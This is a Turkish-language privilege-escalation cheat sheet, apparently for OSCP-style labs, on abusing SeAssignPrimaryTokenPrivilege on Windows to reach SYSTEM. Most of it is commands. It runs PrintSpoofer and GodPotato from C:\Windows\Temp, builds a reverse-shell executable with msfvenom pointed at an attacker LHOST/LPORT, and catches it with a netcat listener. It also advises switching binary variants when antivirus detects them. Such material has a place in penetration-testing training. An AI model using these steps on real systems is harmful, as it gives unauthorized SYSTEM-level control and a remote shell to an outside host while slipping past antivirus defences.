SeAssignPrimaryTokenPrivilege Abuse — Primary Token ile SYSTEM'e Yukselme
SeAssignPrimaryTokenPrivilege; bir process'e primary token atayabilme yetkisidir. Genellikle SeImpersonate ile birlikte servis hesaplarinda bulunur ve ayni Potato ailesi (PrintSpoofer/GodPotato) ya da CreateProcessAsUser tabanli aractar ile SYSTEM'e yukseltilir.
- whoami /priv ciktisinda SeAssignPrimaryTokenPrivilege = Enabled (cogunlukla SeImpersonate ile birlikte)
- Servis hesabi shell (LOCAL/NETWORK SERVICE, scheduled task hesabi)
Komutlar
whoami /priv | findstr /i "SeAssignPrimaryToken SeImpersonate" C:\Windows\Temp\ps.exe -i -c cmd C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami" msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\rev.exe" Ayricaligin Anlami
SeAssignPrimaryTokenPrivilege (“Replace a process level token”), bir process’in baslatilan child process’ine primary token atamasina izin verir. Tek basina, ele gecirilmis bir SYSTEM token’i bir process’e atanip o process baslatilarak SYSTEM koduna donusur. Pratikte bu ayricalik SeImpersonatePrivilege ile birlikte servis hesaplarinda (LOCAL SERVICE, NETWORK SERVICE, scheduled task identity) gorulur.
Tespit
whoami /priv ciktisinda SeAssignPrimaryTokenPrivilege = Enabled arayin. Cogunlukla SeImpersonate de yanindadir; bu durumda dogrudan Potato ailesine (win-seimpersonate-potato) gecin.
Sömürü
Potato ailesi (PrintSpoofer, GodPotato, RoguePotato, EfsPotato) icsel olarak CreateProcessWithToken (SeImpersonate) ya da CreateProcessAsUser (SeAssignPrimaryToken) kullanir. Yani ayni binary’ler her iki ayricalik icin de gecerlidir:
- GodPotato — surum uyumlulugu en genis; ilk tercih.
- PrintSpoofer — Spooler acik orta-surum sistemlerde stabil;
CreateProcessAsUseryolunu da kullanabilir. - Interaktif shell yoksa once
msfvenomilerev.exeuretip Potato’nun-c/-cmdparametresiyle SYSTEM olarak calistirin; Kali’denc -lvnp {{LPORT}}.
Eski/Manuel Yontem
Tarihsel olarak bu ayricalik CVE-2017 oncesi Tater/RottenPotato ile somuruluyordu; modern lab’larda Potato ailesi yeterlidir. Ayrica scheduled task / WMI ile primary token atayan ozel PoC’ler de mevcuttur ancak OSCP’de Potato binary’leri standarttir.
Notlar
- SeImpersonate yok ama SeAssignPrimaryToken varsa,
CreateProcessAsUsertabanli yolu kullanan PoC’leri tercih edin (PrintSpoofer bunu destekler). - Binary’leri yazilabilir dizine (C:\Windows\Temp) koyun; AV yakalarsa farkli .NET varyantlarini deneyin.
- Teyit: SYSTEM shell’de
whoami→nt authority\system.